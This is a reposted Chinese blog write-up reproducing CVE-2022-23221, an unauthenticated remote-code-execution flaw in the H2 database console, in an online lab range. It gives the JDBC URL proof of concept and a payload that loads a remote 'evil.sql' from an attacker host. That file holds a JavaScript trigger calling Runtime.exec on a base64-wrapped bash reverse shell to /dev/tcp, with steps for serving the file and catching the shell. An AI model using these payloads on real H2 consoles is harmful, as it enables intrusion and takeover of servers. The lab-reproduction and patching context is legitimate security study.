0


H2db console 未授权访问RCE 漏洞复现+利用(CVE-2022-23221)

1、产品简介

H2是Thomas Mueller提供的一个开源的、纯java实现的关系数据库。H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。

2、漏洞概述

H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含 IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT 子字符串的 jdbc:h2:mem JDBC URL 执行任意代码。

3、影响范围

1.1.100 <=H2 Console <=2.0.204

4、复现环境

     Vulfocus在线靶场环境

5、 漏洞复现

开启靶场环境,访问8082端口,可以看到H2db的控制台

利用点主要是JDBC URL

未授权POC如下:

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

观察已公开的POC,在原有url后添加FORBID_CREATION=FALSE属性使得流程进入到thrownotfound时不再抛出异常,从而继续创建新的数据库,在末尾使用""转义流程中添加的;FORBID_CREATION=TRUE,使得该“;”不具备实际参数分割意义,使用IGNORE_UNKNOWN_SETTINGS=TRUE避免被转义后的;FORBID_CREATION作为属性名不在默认配置中导致的异常,最终完成了对数据库的未授权访问。

点击测试连接,可以看到Test successful;

连接进去看看,成功创建了数据库

6、漏洞利用

执行命令利用方式就是在上述POC的基础上,添加INIT属性INIT=RUNSCRIPT

FROM 'http://attacker/evil.sql';
使得Engine.openSession获取到会话后,进入command.executeUpdate执行我们设置的SQL语句进行查询。

构造Payload:

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://attacker/evil.sql';\

#上面attacker处填写你恶意sql文件的服务器地址

网上公开的evil.sql文件内容如下:

CREATE TABLE test (
     id INT NOT NULL
 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
var fos = Java.type("java.io.FileOutputStream");
var b = new fos ("/tmp/pwnedlolol");';

INSERT INTO TEST VALUES (1);

通过创建表后,对该表添加触发器,触发器中使用javascript调用java创建文件造成RCE。

在复现过程中发现在添加触发器的过程中,javascript代码就已经执行,且由于触发器添加过程最终会由于触发器强制转换过程失败,实际上这个触发器并未添加成功,也就是说实际的代码在触发器添加时就已经执行,而非insert时。

那么靶场环境怎么读取flag呢

于是网上查了查Java环境怎么反弹shell的文章,后来找到利用Runtime.getRuntime().exec 可以调用外部可执行程序或系统命令,并重定向外部程序的标准输入、标准输出和标准错误到缓冲池的特性来反弹shell。

构造EXP:

vi evil.sql

CREATE TABLE test (
     id INT NOT NULL
 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
#根据上面公开POC发现添加触发器的过程中,javascript代码就已经执行,而非insert时,所以我们不需要添加insert语句

利用python3搭建http服务器

python3 -m http.server 80

VPS开启监听,填写payload,点击测试连接

可以看到请求恶意SQL文件了

成功拿到shell。

7、修复建议

升级到安全版本: H2 Console 2.0.206

本文转载自: https://blog.csdn.net/qq_41904294/article/details/129139415
版权归原作者 OidBoy_G 所有, 如有侵权,请联系我们删除。

“H2db console 未授权访问RCE 漏洞复现+利用(CVE-2022-23221)”的评论:

还没有评论